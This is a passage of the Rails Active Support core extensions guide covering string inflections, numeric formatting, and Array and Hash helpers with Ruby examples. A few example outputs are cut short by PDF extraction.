def some_method
some_code
end

The second argument, indent_string, specifies which indent string to

use. The default is nil, which tells the method to make an educated guess
peeking at the first indented line, and fallback to a space if there is none.
" foo".indent(2) # => " foo"
"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
"foo".indent(2, "\t") # => "\t\tfoo"

While indent_string is typically one space or tab, it may be any string.

The third argument, indent_empty_lines, is a flag that says whether

empty lines should be indented. Default is false.
"foo\n\nbar".indent(2) # => " foo\n\n bar"
"foo\n\nbar".indent(2, nil, true) # => " foo\n \n bar"

The indent! method performs indentation in-place.

Defined in active_support/core_ext/string/indent.rb.
5.10 Access
5.10.1 at(position)

Returns the character of the string at position position:

"hello".at(0) # => "h"
"hello".at(4) # => "o"
"hello".at(-1) # => "o"
"hello".at(10) # => nil

Defined in active_support/core_ext/string/access.rb.
5.10.2 from(position)

Returns the substring of the string starting at position position:

"hello".from(0) # => "hello"
"hello".from(2) # => "llo"
"hello".from(-2) # => "lo"
"hello".from(10) # => nil

Defined in active_support/core_ext/string/access.rb.
5.10.3 to(position)

Returns the substring of the string up to position position:

"hello".to(0) # => "h"
"hello".to(2) # => "hel"
"hello".to(-2) # => "hell"
"hello".to(10) # => "hello"

Defined in active_support/core_ext/string/access.rb.
5.10.4 first(limit = 1)

The call str.first(n) is equivalent to str.to(n-1) if n > 0, and returns

an empty string for n == 0.
Defined in active_support/core_ext/string/access.rb.
5.10.5 last(limit = 1)

The call str.last(n) is equivalent to str.from(-n) if n > 0, and returns

an empty string for n == 0.
Defined in active_support/core_ext/string/access.rb.
5.11 Inflections
5.11.1 pluralize

The method pluralize returns the plural of its receiver:

"table".pluralize # => "tables"
"ruby".pluralize # => "rubies"
"equipment".pluralize # => "equipment"

As the previous example shows, Active Support knows some irregular

plurals and uncountable nouns. Built-in rules can be extended in

config/initializers/inflections.rb. That file is generated by the

rails command and has instructions in comments.
pluralize can also take an optional count parameter. If count == 1 the
singular form will be returned. For any other value of count the plural

form will be returned:

"dude".pluralize(0) # => "dudes"
"dude".pluralize(1) # => "dude"
"dude".pluralize(2) # => "dudes"

Active Record uses this method to compute the default table name that
corresponds to a model:
# active_record/model_schema.rb
def undecorated_table_name(class_name = base_class.name)
table_name = class_name.to_s.demodulize.underscore
pluralize_table_names ? table_name.pluralize : table_name
end

Defined in active_support/core_ext/string/inflections.rb.
5.11.2 singularize

The inverse of pluralize:

"tables".singularize # => "table"
"rubies".singularize # => "ruby"
"equipment".singularize # => "equipment"

Associations compute the name of the corresponding default associated

class using this method:
# active_record/reflection.rb
def derive_class_name
class_name = name.to_s.camelize

class_name = class_name.singularize if collection?

class_name
end

Defined in active_support/core_ext/string/inflections.rb.
5.11.3 camelize

The method camelize returns its receiver in camel case:

"product".camelize # => "Product"
"admin_user".camelize # => "AdminUser"

As a rule of thumb you can think of this method as the one that transforms
paths into Ruby class or module names, where slashes separate
namespaces:
"backoffice/session".camelize # => "Backoffice::Session"

For example, Action Pack uses this method to load the class that provides
a certain session store:
# action_controller/metal/session_management.rb
def session_store=(store)
@@session_store = store.is_a?(Symbol) ?
ActionDispatch::Session.const_get(store.to_s.camelize) :
store
end

camelize accepts an optional argument, it can be :upper (default), or

:lower. With the latter the first letter becomes lowercase:
"visual_effect".camelize(:lower) # => "visualEffect"

That may be handy to compute method names in a language that follows

that convention, for example JavaScript.
As a rule of thumb you can think of camelize as the inverse of
underscore, though there are cases where that does not hold:
"SSLError".underscore.camelize gives back "SslError". To support
cases such as this, Active Support allows you to specify acronyms in
config/initializers/inflections.rb:
ActiveSupport::Inflector.inflections do |inflect|
inflect.acronym 'SSL'
end
"SSLError".underscore.camelize # => "SSLError"

camelize is aliased to camelcase.

Defined in active_support/core_ext/string/inflections.rb.
5.11.4 underscore

The method underscore goes the other way around, from camel case to
paths:
"Product".underscore # => "product"
"AdminUser".underscore # => "admin_user"

Also converts "::" back to "/":

"Backoffice::Session".underscore # => "backoffice/session"

and understands strings that start with lowercase:

"visualEffect".underscore # => "visual_effect"

underscore accepts no argument though.

Rails class and module autoloading uses underscore to infer the relative
path without extension of a file that would define a given missing constant:
# active_support/dependencies.rb
def load_missing_constant(from_mod, const_name)
...
qualified_name = qualified_name_for from_mod, const_name
path_suffix = qualified_name.underscore
...
end

As a rule of thumb you can think of underscore as the inverse of

camelize, though there are cases where that does not hold. For example,
"SSLError".underscore.camelize gives back "SslError".
Defined in active_support/core_ext/string/inflections.rb.
5.11.5 titleize

The method titleize capitalizes the words in the receiver:

"alice in wonderland".titleize # => "Alice In Wonderland"
"fermat's enigma".titleize # => "Fermat's Enigma"

titleize is aliased to titlecase.

Defined in active_support/core_ext/string/inflections.rb.
5.11.6 dasherize

The method dasherize replaces the underscores in the receiver with

dashes:
"name".dasherize # => "name"

"contact_data".dasherize # => "contact-data"

The XML serializer of models uses this method to dasherize node names:
# active_model/serializers/xml.rb
def reformat_name(name)
name = name.camelize if camelize?
dasherize? ? name.dasherize : name
end

Defined in active_support/core_ext/string/inflections.rb.
5.11.7 demodulize

Given a string with a qualified constant name, demodulize returns the very
constant name, that is, the rightmost part of it:

"Product".demodulize # => "Product"

"Backoffice::UsersController".demodulize # => "UsersControlle
"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUti
"::Inflections".demodulize # => "Inflections"
"".demodulize # => ""

Active Record for example uses this method to compute the name of a
counter cache column:

# active_record/reflection.rb
def counter_cache_column
if options[:counter_cache] == true
"#{active_record.name.demodulize.underscore.pluralize}_count
elsif options[:counter_cache]
options[:counter_cache]
end
end

Defined in active_support/core_ext/string/inflections.rb.
5.11.8 deconstantize

Given a string with a qualified constant reference expression,

deconstantize removes the rightmost segment, generally leaving the
name of the constant's container:

"Product".deconstantize # => ""

"Backoffice::UsersController".deconstantize # => "Backoffice"
"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hote

Active Support for example uses this method in

Module#qualified_const_set:
def qualified_const_set(path, value)
QualifiedConstUtils.raise_if_absolute(path)
const_name = path.demodulize
mod_name = path.deconstantize
mod = mod_name.empty? ? self : qualified_const_get(mod_name)
mod.const_set(const_name, value)
end

Defined in active_support/core_ext/string/inflections.rb.
5.11.9 parameterize

The method parameterize normalizes its receiver in a way that can be

used in pretty URLs.
"John Smith".parameterize # => "john-smith"
"Kurt Gdel".parameterize # => "kurt-godel"

To preserve the case of the string, set the preserve_case argument to true.

By default, preserve_case is set to false.

"John Smith".parameterize(preserve_case: true) # => "John-Smith"

"Kurt Gdel".parameterize(preserve_case: true) # => "Kurt-Godel"

To use a custom separator, override the separator argument.

"John Smith".parameterize(separator: "_") # => "john\_smith"
"Kurt Gdel".parameterize(separator: "_") # => "kurt\_godel"

In fact, the result string is wrapped in an instance of

ActiveSupport::Multibyte::Chars.
Defined in active_support/core_ext/string/inflections.rb.
5.11.10 tableize

The method tableize is underscore followed by pluralize.

"Person".tableize # => "people"
"Invoice".tableize # => "invoices"
"InvoiceLine".tableize # => "invoice_lines"

As a rule of thumb, tableize returns the table name that corresponds to a

given model for simple cases. The actual implementation in Active Record
is not straight tableize indeed, because it also demodulizes the class
name and checks a few options that may affect the returned string.
Defined in active_support/core_ext/string/inflections.rb.
5.11.11 classify

The method classify is the inverse of tableize. It gives you the class
name corresponding to a table name:

"people".classify # => "Person"

"invoices".classify # => "Invoice"
"invoice_lines".classify # => "InvoiceLine"

The method understands qualified table names:

"highrise_production.companies".classify # => "Company"

Note that classify returns a class name as a string. You can get the actual
class object invoking constantize on it, explained next.
Defined in active_support/core_ext/string/inflections.rb.
5.11.12 constantize

The method constantize resolves the constant reference expression in its

receiver:
"Integer".constantize # => Integer
module M
X = 1
end
"M::X".constantize # => 1

If the string evaluates to no known constant, or its content is not even a

valid constant name, constantize raises NameError.
Constant name resolution by constantize starts always at the top-level
Object even if there is no leading "::".
X = :in_Object
module M
X = :in_M
X # => :in_M

"::X".constantize # => :in_Object

"X".constantize # => :in_Object (!)
end

So, it is in general not equivalent to what Ruby would do in the same spot,
had a real constant be evaluated.
Mailer test cases obtain the mailer being tested from the name of the test
class using constantize:
# action_mailer/test_case.rb
def determine_default_mailer(name)
name.sub(/Test$/, '').constantize
rescue NameError => e
raise NonInferrableMailerError.new(name)
end

Defined in active_support/core_ext/string/inflections.rb.
5.11.13 humanize

The method humanize tweaks an attribute name for display to end users.
Specifically performs these transformations:
Applies human inflection rules to the argument.
Deletes leading underscores, if any.
Removes a "_id" suffix if present.
Replaces underscores with spaces, if any.
Downcases all words except acronyms.
Capitalizes the first word.
The capitalization of the first word can be turned off by setting the
+:capitalize+ option to false (default is true).

"name".humanize # => "Name"

"author_id".humanize # => "Author"
"author_id".humanize(capitalize: false) # => "author"
"comments_count".humanize # => "Comments count"
"_id".humanize # => "Id"

If "SSL" was defined to be an acronym:

'ssl_error'.humanize # => "SSL error"

The helper method full_messages uses humanize as a fallback to include

attribute names:
def full_messages
map { |attribute, message| full_message(attribute, message) }
end

def full_message
...
attr_name = attribute.to_s.tr('.', '_').humanize
attr_name = @base.class.human_attribute_name(attribute, defaul
...
end

Defined in active_support/core_ext/string/inflections.rb.
5.11.14 foreign_key

The method foreign_key gives a foreign key column name from a class
name. To do so it demodulizes, underscores, and adds "_id":
"User".foreign_key # => "user_id"
"InvoiceLine".foreign_key # => "invoice_line_id"
"Admin::Session".foreign_key # => "session_id"

Pass a false argument if you do not want the underscore in "_id":

"User".foreign_key(false) # => "userid"

Associations use this method to infer foreign keys, for example has_one
and has_many do this:

# active_record/associations.rb
foreign_key = options[:foreign_key] || reflection.active_record.

Defined in active_support/core_ext/string/inflections.rb.
5.12 Conversions
5.12.1 to_date, to_time, to_datetime

The methods to_date, to_time, and to_datetime are basically

convenience wrappers around Date._parse:

"2010-07-27".to_date # => Tue, 27 Jul 2010

"2010-07-27 23:37:00".to_time # => 2010-07-27 23:37:00 +0200
"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00

to_time receives an optional argument :utc or :local, to indicate which

time zone you want the time in:

"2010-07-27 23:42:00".to_time(:utc) # => 2010-07-27 23:42:00 U

"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +

Default is :utc.
Please refer to the documentation of Date._parse for further details.
The three of them return nil for blank receivers.
Defined in active_support/core_ext/string/conversions.rb.

6 Extensions to Numeric
6.1 Bytes
All numbers respond to these methods:
bytes
kilobytes
megabytes
gigabytes
terabytes
petabytes
exabytes

They return the corresponding amount of bytes, using a conversion factor

of 1024:
2.kilobytes # => 2048
3.megabytes # => 3145728
3.5.gigabytes # => 3758096384
-4.exabytes # => -4611686018427387904

Singular forms are aliased so you are able to say:

1.megabyte # => 1048576

Defined in active_support/core_ext/numeric/bytes.rb.
6.2 Time
Enables the use of time calculations and declarations, like 45.minutes +
2.hours + 4.years.
These methods use Time#advance for precise date calculations when using

from_now, ago, etc. as well as adding or subtracting their results from a

Time object. For example:
# equivalent to Time.current.advance(months: 1)
1.month.from_now
# equivalent to Time.current.advance(years: 2)
2.years.from_now
# equivalent to Time.current.advance(months: 4, years: 5)
(4.months + 5.years).from_now

Defined in active_support/core_ext/numeric/time.rb
6.3 Formatting
Enables the formatting of numbers in a variety of ways.
Produce a string representation of a number as a telephone number:
5551234.to_s(:phone)
# => 555-1234
1235551234.to_s(:phone)
# => 123-555-1234
1235551234.to_s(:phone, area_code: true)
# => (123) 555-1234
1235551234.to_s(:phone, delimiter: " ")
# => 123 555 1234
1235551234.to_s(:phone, area_code: true, extension: 555)
# => (123) 555-1234 x 555
1235551234.to_s(:phone, country_code: 1)
# => +1-123-555-1234

Produce a string representation of a number as currency:

1234567890.50.to_s(:currency) # => $1,234,567,89

1234567890.506.to_s(:currency) # => $1,234,567,89
1234567890.506.to_s(:currency, precision: 3) # => $1,234,567,89

Produce a string representation of a number as a percentage:

100.to_s(:percentage)
# => 100.000%
100.to_s(:percentage, precision: 0)
# => 100%
1000.to_s(:percentage, delimiter: '.', separator: ',')
# => 1.000,000%
302.24398923423.to_s(:percentage, precision: 5)
# => 302.24399%

Produce a string representation of a number in delimited form:

12345678.to_s(:delimited) # => 12,345,678

12345678.05.to_s(:delimited) # => 12,345,678.05
12345678.to_s(:delimited, delimiter: ".") # => 12.345.678
12345678.to_s(:delimited, delimiter: ",") # => 12,345,678
12345678.05.to_s(:delimited, separator: " ") # => 12,345,678 05

Produce a string representation of a number rounded to a precision:

111.2345.to_s(:rounded) # => 111.235
111.2345.to_s(:rounded, precision: 2) # => 111.23
13.to_s(:rounded, precision: 5) # => 13.00000
389.32314.to_s(:rounded, precision: 0) # => 389
111.2345.to_s(:rounded, significant: true) # => 111

Produce a string representation of a number as a human-readable number

of bytes:
123.to_s(:human_size) # => 123 Bytes
1234.to_s(:human_size) # => 1.21 KB
12345.to_s(:human_size) # => 12.1 KB
1234567.to_s(:human_size) # => 1.18 MB
1234567890.to_s(:human_size) # => 1.15 GB
1234567890123.to_s(:human_size) # => 1.12 TB

1234567890123456.to_s(:human_size) # => 1.1 PB

1234567890123456789.to_s(:human_size) # => 1.07 EB

Produce a string representation of a number in human-readable words:

123.to_s(:human) # => "123"
1234.to_s(:human) # => "1.23 Thousand"
12345.to_s(:human) # => "12.3 Thousand"
1234567.to_s(:human) # => "1.23 Million"
1234567890.to_s(:human) # => "1.23 Billion"
1234567890123.to_s(:human) # => "1.23 Trillion"
1234567890123456.to_s(:human) # => "1.23 Quadrillion"

Defined in active_support/core_ext/numeric/conversions.rb.

7 Extensions to Integer
7.1 multiple_of?
The method multiple_of? tests whether an integer is multiple of the
argument:
2.multiple_of?(1) # => true
1.multiple_of?(2) # => false

Defined in active_support/core_ext/integer/multiple.rb.
7.2 ordinal
The method ordinal returns the ordinal suffix string corresponding to the
receiver integer:
1.ordinal # => "st"
2.ordinal # => "nd"
53.ordinal # => "rd"
2009.ordinal # => "th"
-21.ordinal # => "st"
-134.ordinal # => "th"

Defined in active_support/core_ext/integer/inflections.rb.
7.3 ordinalize
The method ordinalize returns the ordinal string corresponding to the
receiver integer. In comparison, note that the ordinal method returns only
the suffix string.
1.ordinalize # => "1st"
2.ordinalize # => "2nd"
53.ordinalize # => "53rd"

2009.ordinalize # => "2009th"

-21.ordinalize # => "-21st"
-134.ordinalize # => "-134th"

Defined in active_support/core_ext/integer/inflections.rb.

8 Extensions to BigDecimal
8.1 to_s
The method to_s provides a default specifier of "F". This means that a
simple call to to_s will result in floating point representation instead of
engineering notation:
BigDecimal.new(5.00, 6).to_s # => "5.0"

and that symbol specifiers are also supported:

BigDecimal.new(5.00, 6).to_s(:db) # => "5.0"

Engineering notation is still supported:

BigDecimal.new(5.00, 6).to_s("e") # => "0.5E1"

9 Extensions to Enumerable
9.1 sum
The method sum adds the elements of an enumerable:
[1, 2, 3].sum # => 6
(1..100).sum # => 5050

Addition only assumes the elements respond to +:

[[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4]
%w(foo bar baz).sum # => "foobarbaz"
{a: 1, b: 2, c: 3}.sum # => [:b, 2, :c, 3, :a, 1]

The sum of an empty collection is zero by default, but this is customizable:

[].sum # => 0
[].sum(1) # => 1

If a block is given, sum becomes an iterator that yields the elements of the
collection and sums the returned values:
(1..5).sum {|n| n * 2 } # => 30
[2, 4, 6, 8, 10].sum # => 30

The sum of an empty receiver can be customized in this form as well:

[].sum(1) {|n| n**3} # => 1

Defined in active_support/core_ext/enumerable.rb.
9.2 index_by

The method index_by generates a hash with the elements of an

enumerable indexed by some key.
It iterates through the collection and passes each element to a block. The
element will be keyed by the value returned by the block:

invoices.index_by(&:number)
# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>,

Keys should normally be unique. If the block returns the same value for
different elements no collection is built for that key. The last item will win.
Defined in active_support/core_ext/enumerable.rb.
9.3 many?
The method many? is shorthand for collection.size > 1:
<% if pages.many? %>
<%= pagination_links %>
<% end %>

If an optional block is given, many? only takes into account those elements
that return true:

@see_more = videos.many? {|video| video.category == params[:cate

Defined in active_support/core_ext/enumerable.rb.
9.4 exclude?
The predicate exclude? tests whether a given object does not belong to the
collection. It is the negation of the built-in include?:

to_visit << node if visited.exclude?(node)

Defined in active_support/core_ext/enumerable.rb.
9.5 without
The method without returns a copy of an enumerable with the specified
elements removed:

["David", "Rafael", "Aaron", "Todd"].without("Aaron", "Todd") #

Defined in active_support/core_ext/enumerable.rb.
9.6 pluck
The method pluck returns an array based on the given key:

[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck

Defined in active_support/core_ext/enumerable.rb.

10 Extensions to Array
10.1 Accessing
Active Support augments the API of arrays to ease certain ways of
accessing them. For example, to returns the subarray of elements up to the
one at the passed index:
%w(a b c d).to(2) # => ["a", "b", "c"]
[].to(7) # => []

Similarly, from returns the tail from the element at the passed index to the
end. If the index is greater than the length of the array, it returns an empty
array.
%w(a b c d).from(2) # => ["c", "d"]
%w(a b c d).from(10) # => []
[].from(0) # => []

The methods second, third, fourth, and fifth return the corresponding
element, as do second_to_last and third_to_last (first and last are
built-in). Thanks to social wisdom and positive constructiveness all
around, forty_two is also available.
%w(a b c d).third # => "c"
%w(a b c d).fifth # => nil

Defined in active_support/core_ext/array/access.rb.
10.2 Adding Elements
10.2.1 prepend

This method is an alias of Array#unshift.

%w(a b c d).prepend('e') # => ["e", "a", "b", "c", "d"]
[].prepend(10) # => [10]

Defined in active_support/core_ext/array/prepend_and_append.rb.
10.2.2 append

This method is an alias of Array#<<.

%w(a b c d).append('e') # => ["a", "b", "c", "d", "e"]
[].append([1,2]) # => [[1, 2]]

Defined in active_support/core_ext/array/prepend_and_append.rb.
10.3 Options Extraction
When the last argument in a method call is a hash, except perhaps for a
&block argument, Ruby allows you to omit the brackets:
User.exists?(email: params[:email])

That syntactic sugar is used a lot in Rails to avoid positional arguments

where there would be too many, offering instead interfaces that emulate
named parameters. In particular it is very idiomatic to use a trailing hash
for options.
If a method expects a variable number of arguments and uses * in its
declaration, however, such an options hash ends up being an item of the
array of arguments, where it loses its role.
In those cases, you may give an options hash a distinguished treatment
with extract_options!. This method checks the type of the last item of

an array. If it is a hash it pops it and returns it, otherwise it returns an

empty hash.
Let's see for example the definition of the caches_action controller
macro:
def caches_action(*actions)
return unless cache_configured?
options = actions.extract_options!
...
end

This method receives an arbitrary number of action names, and an optional

hash of options as last argument. With the call to extract_options! you
obtain the options hash and remove it from actions in a simple and
explicit way.
Defined in active_support/core_ext/array/extract_options.rb.
10.4 Conversions
10.4.1 to_sentence

The method to_sentence turns an array into a string containing a sentence

that enumerates its items:
%w().to_sentence # => ""
%w(Earth).to_sentence # => "Earth"
%w(Earth Wind).to_sentence # => "Earth and Wind"
%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"

This method accepts three options:

:two_words_connector: What is used for arrays of length 2. Default

is " and ".

:words_connector: What is used to join the elements of arrays with 3

or more elements, except for the last two. Default is ", ".
:last_word_connector: What is used to join the last items of an
array with 3 or more elements. Default is ", and ".
The defaults for these options can be localized, their keys are:
Option

I18n key

:two_words_connector support.array.two_words_connector
:words_connector
support.array.words_connector
:last_word_connector support.array.last_word_connector

Defined in active_support/core_ext/array/conversions.rb.
10.4.2 to_formatted_s

The method to_formatted_s acts like to_s by default.

If the array contains items that respond to id, however, the symbol :db
may be passed as argument. That's typically used with collections of
Active Record objects. Returned strings are:
[].to_formatted_s(:db) # => "null"
[user].to_formatted_s(:db) # => "8456"
invoice.lines.to_formatted_s(:db) # => "23,567,556,12"

Integers in the example above are supposed to come from the respective
calls to id.
Defined in active_support/core_ext/array/conversions.rb.
10.4.3 to_xml

The method to_xml returns a string containing an XML representation of

its receiver:

Contributor.limit(2).order(:rank).to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors type="array">
# <contributor>
# <id type="integer">4356</id>
# <name>Jeremy Kemper</name>
# <rank type="integer">1</rank>
# <url-id>jeremy-kemper</url-id>
# </contributor>
# <contributor>
# <id type="integer">4404</id>
# <name>David Heinemeier Hansson</name>
# <rank type="integer">2</rank>
# <url-id>david-heinemeier-hansson</url-id>
# </contributor>
# </contributors>

To do so it sends to_xml to every item in turn, and collects the results

under a root node. All items must respond to to_xml, an exception is
raised otherwise.
By default, the name of the root element is the underscorized and
dasherized plural of the name of the class of the first item, provided the
rest of elements belong to that type (checked with is_a?) and they are not
hashes. In the example above that's "contributors".
If there's any element that does not belong to the type of the first one the
root node becomes "objects":
[Contributor.first, Commit.first].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <objects type="array">
# <object>
# <id type="integer">4583</id>
# <name>Aaron Batalion</name>
# <rank type="integer">53</rank>
# <url-id>aaron-batalion</url-id>

# </object>
# <object>
# <author>Joshua Peek</author>
# <authored-timestamp type="datetime">2009-09-02T16:44:36Z</
# <branch>origin/master</branch>
# <committed-timestamp type="datetime">2009-09-02T16:44:36Z<
# <committer>Joshua Peek</committer>
# <git-show nil="true"></git-show>
# <id type="integer">190316</id>
# <imported-from-svn type="boolean">false</imported-from-svn
# <message>Kill AMo observing wrap_with_notifications since
# <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
# </object>
# </objects>

If the receiver is an array of hashes the root element is by default also

"objects":
[{a: 1, b: 2}, {c: 3}].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <objects type="array">
# <object>
# <b type="integer">2</b>
# <a type="integer">1</a>
# </object>
# <object>
# <c type="integer">3</c>
# </object>
# </objects>

If the collection is empty the root element is by default "nil-classes". That's

a gotcha, for example the root element of the list of contributors above
would not be "contributors" if the collection was empty, but "nil-classes".
You may use the :root option to ensure a consistent root element.
The name of children nodes is by default the name of the root node
singularized. In the examples above we've seen "contributor" and "object".

The option :children allows you to set these node names.

The default XML builder is a fresh instance of Builder::XmlMarkup. You
can configure your own builder via the :builder option. The method also
accepts options like :dasherize and friends, they are forwarded to the
builder:
Contributor.limit(2).order(:rank).to_xml(skip_types: true)
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors>
# <contributor>
# <id>4356</id>
# <name>Jeremy Kemper</name>
# <rank>1</rank>
# <url-id>jeremy-kemper</url-id>
# </contributor>
# <contributor>
# <id>4404</id>
# <name>David Heinemeier Hansson</name>
# <rank>2</rank>
# <url-id>david-heinemeier-hansson</url-id>
# </contributor>
# </contributors>

Defined in active_support/core_ext/array/conversions.rb.
10.5 Wrapping
The method Array.wrap wraps its argument in an array unless it is already
an array (or array-like).
Specifically:
If the argument is nil an empty array is returned.
Otherwise, if the argument responds to to_ary it is invoked, and if
the value of to_ary is not nil, it is returned.

Otherwise, an array with the argument as its single element is

returned.
Array.wrap(nil) # => []
Array.wrap([1, 2, 3]) # => [1, 2, 3]
Array.wrap(0) # => [0]

This method is similar in purpose to Kernel#Array, but there are some

differences:
If the argument responds to to_ary the method is invoked.
Kernel#Array moves on to try to_a if the returned value is nil, but
Array.wrap returns an array with the argument as its single element
right away.
If the returned value from to_ary is neither nil nor an Array object,
Kernel#Array raises an exception, while Array.wrap does not, it just
returns the value.
It does not call to_a on the argument, if the argument does not
respond to +to_ary+ it returns an array with the argument as its single
element.
The last point is particularly worth comparing for some enumerables:
Array.wrap(foo: :bar) # => [{:foo=>:bar}]
Array(foo: :bar) # => [[:foo, :bar]]

There's also a related idiom that uses the splat operator:

[*object]

which in Ruby 1.8 returns [nil] for nil, and calls to Array(object)
otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
Thus, in this case the behavior is different for nil, and the differences with

Kernel#Array explained above apply to the rest of objects.

Defined in active_support/core_ext/array/wrap.rb.
10.6 Duplicating
The method Array#deep_dup duplicates itself and all objects inside
recursively with Active Support method Object#deep_dup. It works like
Array#map with sending deep_dup method to each object inside.
array = [1, [2, 3]]
dup = array.deep_dup
dup[1][2] = 4
array[1][2] == nil # => true

Defined in active_support/core_ext/object/deep_dup.rb.
10.7 Grouping
10.7.1 in_groups_of(number, fill_with = nil)

The method in_groups_of splits an array into consecutive groups of a

certain size. It returns an array with the groups:
[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]

or yields them in turn if a block is passed:

<% sample.in_groups_of(3) do |a, b, c| %>
<tr>
<td><%= a %></td>
<td><%= b %></td>
<td><%= c %></td>
</tr>
<% end %>

The first example shows in_groups_of fills the last group with as many
nil elements as needed to have the requested size. You can change this
padding value using the second optional argument:
[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]

And you can tell the method not to fill the last group passing false:
[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]

As a consequence false can't be a used as a padding value.

Defined in active_support/core_ext/array/grouping.rb.
10.7.2 in_groups(number, fill_with = nil)

The method in_groups splits an array into a certain number of groups.

The method returns an array with the groups:
%w(1 2 3 4 5 6 7).in_groups(3)
# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]

or yields them in turn if a block is passed:

%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
["1", "2", "3"]
["4", "5", nil]
["6", "7", nil]

The examples above show that in_groups fills some groups with a trailing
nil element as needed. A group can get at most one of these extra
elements, the rightmost one if any. And the groups that have them are
always the last ones.

You can change this padding value using the second optional argument:
%w(1 2 3 4 5 6 7).in_groups(3, "0")
# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]

And you can tell the method not to fill the smaller groups passing false:
%w(1 2 3 4 5 6 7).in_groups(3, false)
# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]

As a consequence false can't be a used as a padding value.

Defined in active_support/core_ext/array/grouping.rb.
10.7.3 split(value = nil)

The method split divides an array by a separator and returns the resulting
chunks.
If a block is passed the separators are those elements of the array for which
the block returns true:
(-5..5).to_a.split { |i| i.multiple_of?(4) }
# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]

Otherwise, the value received as argument, which defaults to nil, is the

separator:
[0, 1, -5, 1, 1, "foo", "bar"].split(1)
# => [[0], [-5], [], ["foo", "bar"]]

Observe in the previous example that consecutive separators result in

empty arrays.

Defined in active_support/core_ext/array/grouping.rb.

11 Extensions to Hash
11.1 Conversions
11.1.1 to_xml

The method to_xml returns a string containing an XML representation of

its receiver:
{"foo" => 1, "bar" => 2}.to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <hash>
# <foo type="integer">1</foo>
# <bar type="integer">2</bar>
# </hash>

To do so, the method loops over the pairs and builds nodes that depend on
the values. Given a pair key, value:
If value is a hash there's a recursive call with key as :root.
If value is an array there's a recursive call with key as :root, and key
singularized as :children.
If value is a callable object it must expect one or two arguments.
Depending on the arity, the callable is invoked with the options hash
as first argument with key as :root, and key singularized as second
argument. Its return value becomes a new node.
If value responds to to_xml the method is invoked with key as :root.
Otherwise, a node with key as tag is created with a string
representation of value as text node. If value is nil an attribute "nil"
set to "true" is added. Unless the option :skip_types exists and is
true, an attribute "type" is added as well according to the following
mapping:
XML_TYPE_NAMES = {

"Symbol" => "symbol",

"Integer" => "integer",
"BigDecimal" => "decimal",
"Float" => "float",
"TrueClass" => "boolean",
"FalseClass" => "boolean",
"Date" => "date",
"DateTime" => "datetime",
"Time" => "datetime"
}

By default the root node is "hash", but that's configurable via the :root
option.
The default XML builder is a fresh instance of Builder::XmlMarkup. You
can configure your own builder with the :builder option. The method
also accepts options like :dasherize and friends, they are forwarded to the
builder.
Defined in active_support/core_ext/hash/conversions.rb.
11.2 Merging
Ruby has a built-in method Hash#merge that merges two hashes:
{a: 1, b: 1}.merge(a: 0, c: 2)
# => {:a=>0, :b=>1, :c=>2}

Active Support defines a few more ways of merging hashes that may be
convenient.
11.2.1 reverse_merge and reverse_merge!

In case of collision the key in the hash of the argument wins in merge. You
can support option hashes with default values in a compact way with this

idiom:
options = {length: 30, omission: "..."}.merge(options)

Active Support defines reverse_merge in case you prefer this alternative

notation:
options = options.reverse_merge(length: 30, omission: "...")

And a bang version reverse_merge! that performs the merge in place:

options.reverse_merge!(length: 30, omission: "...")

Take into account that reverse_merge! may change the hash in the caller,
which may or may not be a good idea.
Defined in active_support/core_ext/hash/reverse_merge.rb.
11.2.2 reverse_update

The method reverse_update is an alias for reverse_merge!, explained

above.
Note that reverse_update has no bang.
Defined in active_support/core_ext/hash/reverse_merge.rb.
11.2.3 deep_merge and deep_merge!

As you can see in the previous example if a key is found in both hashes the
value in the one in the argument wins.
Active Support defines Hash#deep_merge. In a deep merge, if a key is
found in both hashes and their values are hashes in turn, then their merge

becomes the value in the resulting hash:

{a: {b: 1}}.deep_merge(a: {c: 2})
# => {:a=>{:b=>1, :c=>2}}

The method deep_merge! performs a deep merge in place.

Defined in active_support/core_ext/hash/deep_merge.rb.
11.3 Deep duplicating
The method Hash#deep_dup duplicates itself and all keys and values inside
recursively with Active Support method Object#deep_dup. It works like
Enumerator#each_with_object with sending deep_dup method to each
pair inside.
hash = { a: 1, b: { c: 2, d: [3, 4] } }
dup = hash.deep_dup
dup[:b][:e] = 5
dup[:b][:d] << 5
hash[:b][:e] == nil # => true
hash[:b][:d] == [3, 4] # => true

Defined in active_support/core_ext/object/deep_dup.rb.
11.4 Working with Keys
11.4.1 except and except!

The method except returns a hash with the keys in the argument list
removed, if present:
{a: 1, b: 2}.except(:a) # => {:b=>2}

If the receiver responds to convert_key, the method is called on each of

the arguments. This allows except to play nice with hashes with
indifferent access for instance:
{a: 1}.with_indifferent_access.except(:a) # => {}
{a: 1}.with_indifferent_access.except("a") # => {}

There's also the bang variant except! that removes keys in the very
receiver.
Defined in active_support/core_ext/hash/except.rb.
11.4.2 transform_keys and transform_keys!

The method transform_keys accepts a block and returns a hash that has
applied the block operations to each of the keys in the receiver:

{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upca

# => {"" => nil, "A" => :a, "1" => 1}

In case of key collision, one of the values will be chosen. The chosen value
may not always be the same given the same hash:
